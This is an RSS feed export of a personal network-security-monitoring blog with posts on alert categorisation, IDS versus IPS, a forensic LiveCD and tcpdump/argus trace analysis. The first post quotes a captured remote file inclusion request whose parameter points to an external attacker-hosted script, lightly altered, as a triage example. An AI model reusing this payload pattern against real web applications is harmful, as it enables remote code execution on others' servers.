<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ayoi&#039;s &#187; NSM</title>
	<atom:link href="http://blog.hazrulnz.net/category/nsm/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.hazrulnz.net</link>
	<description>What&#039;s with the blog?</description>
	<lastBuildDate>Fri, 30 Dec 2011 14:55:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Scanning or Hacking attempt?</title>
		<link>http://blog.hazrulnz.net/443/scanning-or-hacking-attempt.html</link>
		<comments>http://blog.hazrulnz.net/443/scanning-or-hacking-attempt.html#comments</comments>
		<pubDate>Tue, 06 Nov 2007 11:21:47 +0000</pubDate>
		<dc:creator>ayoi</dc:creator>
				<category><![CDATA[NSM]]></category>
		<category><![CDATA[work and IT]]></category>

		<guid isPermaLink="false">http://blog.hazrulnz.net/443/scanning-or-hacking-attempt.html</guid>
		<description><![CDATA[Sometimes my consultant will come and see me to verify events that occurred to our clients. This is due to some of the alerts or events have been categorized wrongly. It is not the SAs fault as IMHO the category listed in our system is lil bit confusing. The problem occurred when it comes to [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.hazrulnz.net/443/scanning-or-hacking-attempt.html' addthis:title='Scanning or Hacking attempt? '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>Sometimes my consultant will come and see me to verify events that occurred to our clients. This is due to some of the alerts or events have been categorized wrongly. It is not the SAs fault as IMHO the category listed in our system is lil bit confusing. The problem occurred when it comes to Scanning and Hacking Attempt category. So I decided to express my view in the email and of cause as I am a caring person (sharing is caring) I will post on this matter here.</p>
<p>1st of all regarding Scanning or vulnerability scanning. Scanning or  vulnerability scanning is a process or activity of gathering  information. We also can call this reconnaissance. If we remember, there  are 5 stage or phases of attack which is reconnaissance, exploitation, reinforcement, consolidation and pillage. Let me list  down the phases and its brief description.</p>
<p>1). Reconnaissance<br />
Processes of validating connectivity, enumerating services, and checking  for vulnerable applications. In other words information gathering process</p>
<p>2). Exploitation<br />
Process of abusing, subverting, or breaching services on a target. Abuse  of a service involves making illegitimate use of a legitimate mode of  access. For example, an intruder might log in to a server over Telnet,  Secure Shell, or Microsoft Terminal Services using a username and  password stolen from another system. This is the process where the  attacker will use his exploits tools on the vulnerability he discovered  during the reconnaissance process.</p>
<p>3). Reinforcement.<br />
This is the process where the intruders or attackers trying to gain the  total (if not near total) control of the compromised machine. Some  exploit may only give user access to the attacker. In reinforcement  process attackers will try to escalate the access or privilege of his user.</p>
<p>4). Consolidation<br />
This is when the attackers successfully establish communication with the  compromised machines via newly created channel (usually thru backdoor  etc). The favourite communication method is via IRC channel (as the  attacker can hide behind anonymous or false identity)</p>
<p>5). Pillage<br />
The execution of the main purpose of the compromise. DDoS is one of the  favourite intention.</p>
<p>Again the phases mentioned above is merely just to categorize the attack  phase. Some of attacks perhaps skip one or two of the phases (usually  tools that has script and came from unstructured threat). For example,  Nessus scanning may be categorized as scanning as it merely notify the  attacker any vulnerability that may exists on the targeted machine.  Attacks that generate Remote Include Path alerts are the good example of  the difficulties that may exists in categorizing the events. Why? Because there are times when these alerts triggered hundred of times and the time gap between each alerts is small (in seconds). How to  categorize these? For me it is simple.</p>
<p>Based on the payload itself. determine what is(are) the attackers doing.  For these Remote Include path alerts, most of them didn&#8217;t do any  reconnaissance at all which straight to the exploitation phase. I  suggest it shud be categorized as Hacking attempt. Why? As shown by the sample  payload below there is no attempt on identifying on the application  information (most of the time the methodology is the same), and the attacker straight away instruct or attempt to  instruct the application to run his exploit located on another server.</p>
<p><em>/G3T  /admin.php?lnclude_p4th=<a href="http://www.reasons.org/tnrtb/wp-content/backup-b2b23/id2.txt" class="moz-txt-link-freetext">http://www.reasons.org/tnrtb/wp-content/backup-b2b23/id2.txt</a>??  HTTP/1.1<br />
TE: deflate,gzip;q=0.3<br />
Connection: TE, close<br />
Host: www.blabla.com.my<br />
User-Agent: libwww-perl/5.808<br />
</em></p>
<p><em> *I have to change few characters as the mod_security will not allow these to be published</em>.</p>
<p>So I recommend that for SAs to categorize their alerts or events, identify the intention of the attackers. Thats why NSM data is important for identification process.</p>
<p>So what do you think?</p>
<p>p/s: Btw the phases and more on the NSM can be read at <a href="http://taosecurity.blogspot.com" target="_blank">taosecurity.blogspot.com</a> or buy the book: <a href="http://www.amazon.com/Tao-Network-Security-Monitoring-Intrusion/dp/0321246772" target="_blank">The Tao of Network Security Monitoring-Beyond Intrusion Detection by Richard Bejtlich</a></p>
<p>Anyway for anybody who feel offended by my <a href="http://blog.hazrulnz.net/441/how-on-earth.html" target="_blank">last post here</a>, I didn&#8217;t mention any names rite and of cause I did point out many many times during my years at The Client site on the importance of knowing, learning, acquiring the knowledge, skills of a security analyst. I do not feel myself need to apologize for <a href="http://blog.hazrulnz.net/441/how-on-earth.html" target="_blank">the post</a> anyway</p>
<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.hazrulnz.net/443/scanning-or-hacking-attempt.html' addthis:title='Scanning or Hacking attempt? '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.hazrulnz.net/443/scanning-or-hacking-attempt.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hex LiveCD</title>
		<link>http://blog.hazrulnz.net/352/hex-livecd.html</link>
		<comments>http://blog.hazrulnz.net/352/hex-livecd.html#comments</comments>
		<pubDate>Mon, 30 Jul 2007 17:00:25 +0000</pubDate>
		<dc:creator>ayoi</dc:creator>
				<category><![CDATA[NSM]]></category>
		<category><![CDATA[work and IT]]></category>

		<guid isPermaLink="false">http://blog.hazrulnz.net/352/hex-livecd.html</guid>
		<description><![CDATA[My friend geek00l with his rawpacket team developed one good livecd for network based investigation and forensic tools. I think I will use it for inhouse training and perhaps to introduce that in the company. Why? I was informed by geek00l that the livecd was used in Mr Bejtlich and SANS forensic training. Plus as [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.hazrulnz.net/352/hex-livecd.html' addthis:title='Hex LiveCD '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p align="left"><a href="http://blog.hazrulnz.net/wp-content/uploads/2007/07/hex-livecd-label.jpg" title="hex-livecd-label.jpg"><img src="http://blog.hazrulnz.net/wp-content/uploads/2007/07/hex-livecd-label.jpg" alt="hex-livecd-label.jpg" /></a></p>
<p>My friend <a href="http://geek00l.blogspot.com" target="_blank">geek00l</a> with his <a href="http://www.rawpacket.org" target="_blank">rawpacket</a> team developed one good <a href="http://www.rawpacket.org/projects/hex-livecd" target="_blank">livecd</a> for network based investigation and forensic tools. I think I will use it for inhouse training and perhaps to introduce that in the company. Why? I was informed by geek00l that the livecd was used in <a href="http://taosecurity.blogspot.com" target="_blank">Mr Bejtlich</a> and SANS forensic training. Plus as it utilize the NSM principle which can assists me on introducing NSM in our company as well.</p>
<p>So why not download the <a href="http://bsd.ipv6.la/hex-i386-1.0beta.iso" target="_blank">HEX LiveCD</a><a href="http://bsd.ipv6.la/hex-i386-1.0beta.iso" target="_blank"> here</a> and have a try. geek00l did provide guidance on using this tools at<a href="http://geek00l.blogspot.com" target="_blank"> his blog</a></p>
<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.hazrulnz.net/352/hex-livecd.html' addthis:title='Hex LiveCD '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.hazrulnz.net/352/hex-livecd.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What is the best IDS?</title>
		<link>http://blog.hazrulnz.net/324/what-is-the-best-ids.html</link>
		<comments>http://blog.hazrulnz.net/324/what-is-the-best-ids.html#comments</comments>
		<pubDate>Wed, 11 Jul 2007 18:12:57 +0000</pubDate>
		<dc:creator>ayoi</dc:creator>
				<category><![CDATA[NSM]]></category>
		<category><![CDATA[work and IT]]></category>

		<guid isPermaLink="false">http://blog.hazrulnz.net/324/what-is-the-best-ids.html</guid>
		<description><![CDATA[During image replication process, I had a nice conversation with our client&#8217;s Information Security Incident Response Manager. The topics? From about the incident that happened till security implementation at their place. He did mention to me that their plan to abandon their IDS and using IPS instead. He said that it seems that the IDS [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.hazrulnz.net/324/what-is-the-best-ids.html' addthis:title='What is the best IDS? '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>During image replication process, I had a nice conversation with our client&#8217;s Information Security Incident Response Manager. The topics? From about the incident that happened till security implementation at their place. He did mention to me that their plan to abandon their IDS and using IPS instead. He said that it seems that the IDS serve no purpose to their network security. Well that kind of statement did surprise me a bit as it comes from the person who suppose to be well versed in security. Anyway regarding this IPS and IDS thingy, I&#8217;ve encountered this kind of question or statement for quite some time.</p>
<p>I think this is similar with HIDS vs NIDS thingy. Security means to maintain the acceptable level of perceived risk. We shud consider the best method to protect our assets within the network. Even though the network is not connected to the internet, but do consider the threat from inside (structured or unstructured). There is no way we can be sure that our network is totally secure. It may be secure now (even that after we do security assessment to our network). But we simply not sure whether the network is secure, not even 5 minutes later. What we can do is to increase the difficulty level for any possible intruders to penetrate our network. How? By understanding that security is definitely not a product. Security is not defined as firewall, or IDS or any other tools. Security is a process which consists of the continuous assessment of the network either via scheduled passive or active network scanning, re-evaluating the security policy, understanding the new technology, the result from the assessment can be used for countermeasure and protection process which will be followed by detection for any new type of attacks on new vulnerabilities (where I believe NSM is the most good practice) and trust me that the network will be penetrated eventually. After responding to incident, assessment will be done again to ensure that the network will not be penetrated by that new method and the new vulnerabilities patched.</p>
<p>Having both NIDS and HIDS for me is the best practice, same as having both IPS and IDS. I told The Information Security Response Manager that even though you have the most advanced IPS, one 0-dayz exploit basically will defeat the prevention system. Intruders are unpredictable and some of them are smarter <img src='http://blog.hazrulnz.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>To answer The Information Security Incident Response Manager&#8217;s question earlier, I just answer</p>
<p>&#8220;The best IDS is the one that has a team of analysts who understand the detection methods, mechanism and the indicators produced by it. IDS only will give indicators on any suspicious or anomalies on the traffic, while analyst will give context to that indicators. Human judgement, intuation and knowledge can never be replaced&#8221;</p>
<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.hazrulnz.net/324/what-is-the-best-ids.html' addthis:title='What is the best IDS? '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.hazrulnz.net/324/what-is-the-best-ids.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Interesting&#8230;No? Part II</title>
		<link>http://blog.hazrulnz.net/246/interestingno-part-ii.html</link>
		<comments>http://blog.hazrulnz.net/246/interestingno-part-ii.html#comments</comments>
		<pubDate>Mon, 14 May 2007 11:47:41 +0000</pubDate>
		<dc:creator>ayoi</dc:creator>
				<category><![CDATA[NSM]]></category>
		<category><![CDATA[work and IT]]></category>

		<guid isPermaLink="false">http://blog.hazrulnz.net/246/interestingno-part-ii.html</guid>
		<description><![CDATA[Ok now let&#8217;s examine the trace file for communications between 192.168.2.11 and 192.168.2.102 thru port 31300. (It happens that we have Security Centre by tenable installed in here &#8211; I forgot about this &#8211; and based on the diagram it&#8217;s the port used for communication between thunder-client and Log Correlation Engine (LCE) and between LCE [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.hazrulnz.net/246/interestingno-part-ii.html' addthis:title='Interesting&#8230;No? Part II '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>Ok now let&#8217;s examine the trace file for communications between 192.168.2.11 and 192.168.2.102 thru port 31300. (It happens that we have Security Centre by tenable installed in here &#8211; I forgot about this &#8211; and based on the diagram it&#8217;s the port used for communication between thunder-client and Log Correlation Engine (LCE) and between LCE and Security Centre)</p>
<p>Ok let assume that 192.168.2.11 is one of the clients installed with the thunder-client and 192.168.2.102 is the LCE.</p>
<p>For first 3 lines it shows that the handshake completed. (I use the -S option for printing the absolute numbers)</p>
<p><em>17:43:32.682438 IP 192.168.2.11.3452 &gt; 192.168.2.102.31300: S 2402359895:2402359895(0) win 16384 &lt;mss 1460,nop,nop,sackOK&gt;<br />
</em></p>
<p><em>17:43:32.682566 IP 192.168.2.102.31300 &gt; 192.168.2.11.3452: S 3239928346:3239928346(0) ack 2402359896 win 5840 &lt;mss 1460,nop,nop,sackOK&gt;<br />
</em></p>
<p><em>17:43:32.685488 IP 192.168.2.11.3452 &gt; 192.168.2.102.31300: . ack 3239928347 win 17520</em></p>
<p>192.168.2.11 is allowed to establish connection with the LCE at port 31300 where both of the party agreeing in using Selective Acknowledgement with maximum segment size is 1460 bytes. So there&#8217;s no problem with that. Now let see the next 3 lines</p>
<p><em>17:43:32.685618 IP 192.168.2.102.31300 &gt; 192.168.2.11.3452: F 3239928347:3239928347(0) ack 2402359896 win 5840<br />
</em></p>
<p><em>17:43:32.685691 IP 192.168.2.11.3452 &gt; 192.168.2.102.31300: P 2402359896:2402359908(12) ack 3239928347 win 17520<br />
</em></p>
<p><em>17:43:32.685810 IP 192.168.2.102.31300 &gt; 192.168.2.11.3452: R 3239928347:3239928347(0) win 0 </em></p>
<p>After completing the handshake, it seems that the LCE is sending a FIN flagged packet meaning finishing sending data and also going into FINWAIT_1 state which LCE expected to received acknowledgement from 192.168.2.11. But instead of acknowledging the FIN request, 192.168.2.11 send 12 bytes worth of data to LCE. And of cause the LCE will respond this activity by sending a RST flagged packet informing 192.168.2.11 that the connection is reset and notice that LCE didn&#8217;t acknowledge the data (12 bytes) sent by 192.168.2.11</p>
<p>17:43:32.687122 IP 192.168.2.11.3452 &gt; 192.168.2.102.31300: . ack 3239928348 win 17520</p>
<p><em>17:43:32.687239 IP 192.168.2.102.31300 &gt; 192.168.2.11.3452: R 3239928348:3239928348(0) win 0<br />
</em></p>
<p><em>17:43:32.687308 IP 192.168.2.11.3452 &gt; 192.168.2.102.31300: F 2402359908:2402359908(0) ack 3239928348 win 17520<br />
</em></p>
<p><em>17:43:32.687425 IP 192.168.2.102.31300 &gt; 192.168.2.11.3452: R 3239928348:3239928348(0) win 0</em></p>
<p>After receiving RST flagged packet from the LCE then 192.168.2.11 acknowledge the F flagged packet sent before by the LCE. And instead of sending any acknowledgement on FIN flagged packet sent by 192.168.2.11, the LCE send RST.</p>
<p>I dun think this behaviour has any relation with half close or half open TCP.</p>
<p>I dun think the LCE is receiving any data from .11 even tho in the trace above .11 did PUSH 12 bytes worth of data.</p>
<p>Why LCE is sending F flagged packet after establishing connection with .11 before that fella even send any data.</p>
<p>Compared to this :</p>
<p><em>16:12:14.521462 IP 192.168.8.130.80 &gt; 192.168.8.1.2265: P 3687267773:3687268152(379) ack 3484844050 win 65535<br />
</em></p>
<p><em>16:12:14.521486 IP 192.168.8.1.2265 &gt; 192.168.8.130.80: . ack 3687268152 win 65535<br />
</em></p>
<p><em>16:12:14.522618 IP 192.168.8.1.2265 &gt; 192.168.8.130.80: F 3484844050:3484844050(0) ack 3687268152 win 65535<br />
</em></p>
<p><em>16:12:14.522618 IP 192.168.8.130.80 &gt; 192.168.8.1.2265: . ack 3484844051 win 65535<br />
</em></p>
<p><em>16:12:14.522618 IP 192.168.8.130.80 &gt; 192.168.8.1.2265: F 3687268152:3687268152(0) ack 3484844051 win 65535<br />
</em></p>
<p><em>16:12:14.522618 IP 192.168.8.1.2265 &gt; 192.168.8.130.80: . ack 3687268153 win 65535 </em></p>
<p>That&#8217;s what I called gracefull ending of conversation <img src='http://blog.hazrulnz.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Any other ideas?</p>
<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.hazrulnz.net/246/interestingno-part-ii.html' addthis:title='Interesting&#8230;No? Part II '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.hazrulnz.net/246/interestingno-part-ii.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Interesting..No?</title>
		<link>http://blog.hazrulnz.net/245/interestingno.html</link>
		<comments>http://blog.hazrulnz.net/245/interestingno.html#comments</comments>
		<pubDate>Sun, 13 May 2007 00:43:27 +0000</pubDate>
		<dc:creator>ayoi</dc:creator>
				<category><![CDATA[NSM]]></category>
		<category><![CDATA[work and IT]]></category>

		<guid isPermaLink="false">http://blog.hazrulnz.net/245/interestingno.html</guid>
		<description><![CDATA[Managed to look some trace files gathered by log_packet.sh. I tried to apply structured traffic analysis methodology on those trace files as my technical write-up will be based on it. I think STA enable us to examine/data mining from the trace files where basically we can extract/construct/gather information thru statistical, session, alerts and full content [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.hazrulnz.net/245/interestingno.html' addthis:title='Interesting..No? '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>Managed to look some trace files gathered by <em>log_packet.sh</em>. I tried to apply structured traffic analysis methodology on those trace files as my technical write-up will be based on it. I think STA enable us to examine/data mining from the trace files where basically we can extract/construct/gather information thru statistical, session, alerts and full content data. Easier to identify normal, suspicious and malicious traffics <img src='http://blog.hazrulnz.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Anyway, from one of the trace file there&#8217;re 4 session record (top 4) which I think need a lil bit check up.</p>
<p><em> records  SrcAddr         DstAddr     Dport        Type</em></p>
<p><em>=================================</em></p>
<p><em>25          192.168.2.5    192.168.2.41.1962       tcp</em></p>
<p><em>25         192.168.2.11   192.168.2.102.31300  tcp</em></p>
<p><em>25         192.168.2.41     192.168.2.5.902         tcp</em></p>
<p><em>23          192.168.2.5    192.168.2.41.1971        tcp</em></p>
<p>It seems that 192.168.2.41 is lil bit chatty especially towards 192.168.2.5 at port 902.</p>
<p>There are 76 records (TCP) for conversation between 192.168.2.41 and 192.168.2.5</p>
<p><em>[ayoi@sguil trace-04-05-07]# racount -ar honeypot_trace.argus &#8211; host 192.168.2.41 and 192.168.2.5<br />
racount    records        total_pkts           src_pkts           dst_pkts       total_bytes</em></p>
<p><em>tcp                  76                        187448                       116183                   71265            173692298</em></p>
<p><em>arp                   3                               9                                                3                                       6                                  540</em></p>
<p><em>sum              79           187457                       116186                   71271       173692838</em></p>
<p>From full content data, I can&#8217;s see a thing and I suspect this communications were conducted in secured way or encrypted.</p>
<p><em>192.168.002.041.01971-192.168.002.005.00902: &#8230;. .w;s&#8230;|P.&gt;..d&#8230;&#8230;&#8230;&#8230;&#8221;XxT1&#8230;.. &#8230;&#8230;.zfl.4q&#8230;..a&#8230;&#8230;.z..I..</em></p>
<p><em>192.168.002.005.00902-192.168.002.041.01962: .r{rr..?&#8230;5;&#8230;.E&#8230;@&#8230;C&#8230;..P.8){n.&lt;YG..&gt;m.L=7).m..u`.1 &#8230;..V.)w&#8230; ..J&#8217;\)&#8230;.a.~..k&#8230;&#8230;x.%&#8230;f..e&#8230;f..t.<br />
. &#8230;}.+4.f&#8230;..fs&#8230;$=&#8230;5.s&#8230;.a&#8230;..N.U.q&#8230;.&#8217;..:c&#8230;&#8230;&#8230;&#8230;Ql&#8230;&#8230;&#8221;&#8230;&#8230;).-..~&#8230;/1.5\N&#8230;.&lt;..B..Xd..C.<br />
&#8230;..a..c&#8217;&#8230;xH1..n&#8217;&#8230;n&#8230;&#8230;<br />
\`H3.^;/..3h.ym.om[..-.......56%..........1......Q... .-.P...3.FE....!-..m.....&lt;.N.....Q%.1.K.'....oa#.=^....e:.|Y)a....h..N: {%.........I/.GH...c.4_.C.....W<br />
........f...........^...V.....d...._.]..W&#8230;&#8221;&#8230;&#8217;&amp;.N&#8230;.!&#8230;L&#8230;p..r&#8230;k.1r..A.:&#8230;.L$_&#8230;@.6&#8230;w&#8230;&#8230;..U&#8230;{!..HE.S?&#8230;.c)..(&#8230;..&#8221;&#8230;T&#8230;&#8230;&#8230;.Z&gt;c.a..B..<br />
&#8230;.,S&#8230;&#8230;E..u.&amp;&#8230;d..k&#8230;..(&#8230;&#8230;..V.#&#8230;&#8230;&#8230;I&#8230;e&#8230;.W..H..(L.E&#8230;v?&#8230;..&amp;o.W&#8230;..a.jX..q&#8230;.(2:&#8230;..&gt;u.u&#8230;.,.7a*.AS6.L6L2L.R.1.v..48[:...lH&amp;s.,.....<br />
........N}.:D.#...3.u.E......Uh .7.,.O..*.....r.#,.G..i...}...F.4..Z.2.........{....?..^M..]&#8230;.n&#8230;!.`.r&#8217;:..[r.&amp;.}..Y.....3....K.....t..........H.n...o..E&amp;_<br />
...Ad<br />
.W..&lt;.E..|...wV.....%...Hy.'..!.%$..l.....iW1....[..nAkn.a.1$.f?..D...u9.).....$`K...K...W..~......4L.px..t..^M@-f..C,(...........qN....)."tu.P.....O?.3.&gt;...<br />
"...D...&lt;.4M_.H.?.Xu..........</em></p>
<p>Bahh... Well let see what is actually running on port 902?</p>
<p>Old ways;</p>
<p><em>[ayoi@sguil trace-04-05-07]# nc -vv 192.168.2.5 902<br />
Connection to 192.168.2.5 902 port [tcp/*] succeeded!<br />
220 VMware Authentication Daemon Version 1.10: SSL Required, MKSDisplayProtocol:VNC</em></p>
<p>Ohh okay. Now I know. <img src='http://blog.hazrulnz.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Anyway for another session</p>
<p><em>25         192.168.2.11   192.168.2.102.31300  tcp</em></p>
<p>Well I do wonder what is port 31300 meant for?</p>
<p><em>racount      records         total_pkts           src_pkts          dst_pkts       total_bytes </em></p>
<p><em> tcp                   25                            250                                    125                           125                        14200</em></p>
<p>That&#8217;s the total session records for communication between 192.168.2.11 and 192.168.2.102 where the destination port is 31300.</p>
<p><em>StartTime                 Type     SrcAddr     Sport Dir     DstAddr     Dport     SrcPkt   DstPkt  SrcBytes   DstBytes    State<br />
04 May 07 17:43:32     tcp    192.168.2.11.3452   -&gt;   192.168.2.102.31300   5              5           290          278           RST<br />
04 May 07 17:44:31     tcp    192.168.2.11.3453   -&gt;   192.168.2.102.31300   5              5           290          278           RST<br />
04 May 07 17:45:30    tcp    192.168.2.11.3454   -&gt;   192.168.2.102.31300    5               5         290          278          RST<br />
04 May 07 17:46:29     tcp    192.168.2.11.3455   -&gt;   192.168.2.102.31300   5              5          290          278          RST<br />
04 May 07 17:47:28     tcp    192.168.2.11.3456   -&gt;   192.168.2.102.31300   5                5         290          278         RST<br />
04 May 07 17:48:27     tcp    192.168.2.11.3458   -&gt;   192.168.2.102.31300   5                5         290          278         RST<br />
04 May 07 17:49:26     tcp    192.168.2.11.3459   -&gt;   192.168.2.102.31300   5               5         290          278         RST<br />
04 May 07 17:50:25     tcp    192.168.2.11.3460   -&gt;   192.168.2.102.31300   5               5         290          278         RST</em></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;Edited&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Interesting? Well the source port is increasing by 1, where the src and dst packet are 5 with 290 and 278 bytes respectively. Also the connection state is RESET. Scanning?</p>
<p><em>192.168.002.011.03452-192.168.002.102.31300: &#8230;&#8230;&#8230;&#8230;<br />
192.168.002.011.03453-192.168.002.102.31300: &#8230;&#8230;&#8230;&#8230;<br />
192.168.002.011.03454-192.168.002.102.31300: &#8230;&#8230;&#8230;&#8230;<br />
192.168.002.011.03455-192.168.002.102.31300: &#8230;&#8230;&#8230;&#8230;<br />
192.168.002.011.03456-192.168.002.102.31300: &#8230;&#8230;&#8230;&#8230;<br />
192.168.002.011.03458-192.168.002.102.31300: &#8230;&#8230;&#8230;&#8230;</em></p>
<p>Nothing much can be seen here. And no alerts also generated when snort were asked to trigger any alerts from reading the trace file (The ones that has been defined only between 192.168.2.11 and 192.168.2.102)</p>
<p>So let see the trace file itself</p>
<p><em>17:43:32.682438 IP 192.168.2.11.3452 &gt; 192.168.2.102.31300: S 2402359895:2402359895(0) win 16384 &lt;mss 1460,nop,nop,sackOK&gt;<br />
17:43:32.682566 IP 192.168.2.102.31300 &gt; 192.168.2.11.3452: S 3239928346:3239928346(0) ack 2402359896 win 5840 &lt;mss 1460,nop,nop,sackOK&gt;<br />
17:43:32.685488 IP 192.168.2.11.3452 &gt; 192.168.2.102.31300: . ack 1 win 17520<br />
17:43:32.685618 IP 192.168.2.102.31300 &gt; 192.168.2.11.3452: F 1:1(0) ack 1 win 5840<br />
17:43:32.685691 IP 192.168.2.11.3452 &gt; 192.168.2.102.31300: P 1:13(12) ack 1 win 17520<br />
17:43:32.685810 IP 192.168.2.102.31300 &gt; 192.168.2.11.3452: R 3239928347:3239928347(0) win 0<br />
17:43:32.687122 IP 192.168.2.11.3452 &gt; 192.168.2.102.31300: . ack 2 win 17520<br />
17:43:32.687239 IP 192.168.2.102.31300 &gt; 192.168.2.11.3452: R 3239928348:3239928348(0) win 0<br />
17:43:32.687308 IP 192.168.2.11.3452 &gt; 192.168.2.102.31300: F 13:13(0) ack 2 win 17520<br />
17:43:32.687425 IP 192.168.2.102.31300 &gt; 192.168.2.11.3452: R 3239928348:3239928348(0) win 0<br />
17:44:31.667868 IP 192.168.2.11.3453 &gt; 192.168.2.102.31300: S 641441975:641441975(0) win 16384 &lt;mss 1460,nop,nop,sackOK&gt;<br />
17:44:31.667997 IP 192.168.2.102.31300 &gt; 192.168.2.11.3453: S 3307726379:3307726379(0) ack 641441976 win 5840 &lt;mss 1460,nop,nop,sackOK&gt;<br />
17:44:31.670103 IP 192.168.2.11.3453 &gt; 192.168.2.102.31300: . ack 1 win 17520<br />
17:44:31.670218 IP 192.168.2.11.3453 &gt; 192.168.2.102.31300: P 1:13(12) ack 1 win 17520<br />
17:44:31.670288 IP 192.168.2.102.31300 &gt; 192.168.2.11.3453: F 1:1(0) ack 1 win 5840<br />
17:44:31.670355 IP 192.168.2.102.31300 &gt; 192.168.2.11.3453: R 3307726380:3307726380(0) win 0<br />
17:44:31.673007 IP 192.168.2.11.3453 &gt; 192.168.2.102.31300: . ack 2 win 17520<br />
17:44:31.673133 IP 192.168.2.102.31300 &gt; 192.168.2.11.3453: R 3307726381:3307726381(0) win 0<br />
17:44:31.674712 IP 192.168.2.11.3453 &gt; 192.168.2.102.31300: F 13:13(0) ack 2 win 17520<br />
17:44:31.674827 IP 192.168.2.102.31300 &gt; 192.168.2.11.3453: R 3307726381:3307726381(0) win 0</em></p>
<p>It seems that 102 is sending a RST flagged packet immediately after sending FIN flagged packet. It seems it doesn&#8217;t want to wait the FIN ack from .11 tho.  Anyone can give a better analysis please?</p>
<p>p/s: I might as well ask the owner of 192.168.2.11 and 192.168.2.102 for this <img src='http://blog.hazrulnz.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Your input/view/opinion/criticism are highly appreciated. I&#8217;m still learning maa..</p>
<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.hazrulnz.net/245/interestingno.html' addthis:title='Interesting..No? '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.hazrulnz.net/245/interestingno.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Jammed</title>
		<link>http://blog.hazrulnz.net/231/jammed.html</link>
		<comments>http://blog.hazrulnz.net/231/jammed.html#comments</comments>
		<pubDate>Sun, 22 Apr 2007 04:06:52 +0000</pubDate>
		<dc:creator>ayoi</dc:creator>
				<category><![CDATA[NSM]]></category>
		<category><![CDATA[work and IT]]></category>

		<guid isPermaLink="false">http://blog.hazrulnz.net/231/jammed.html</guid>
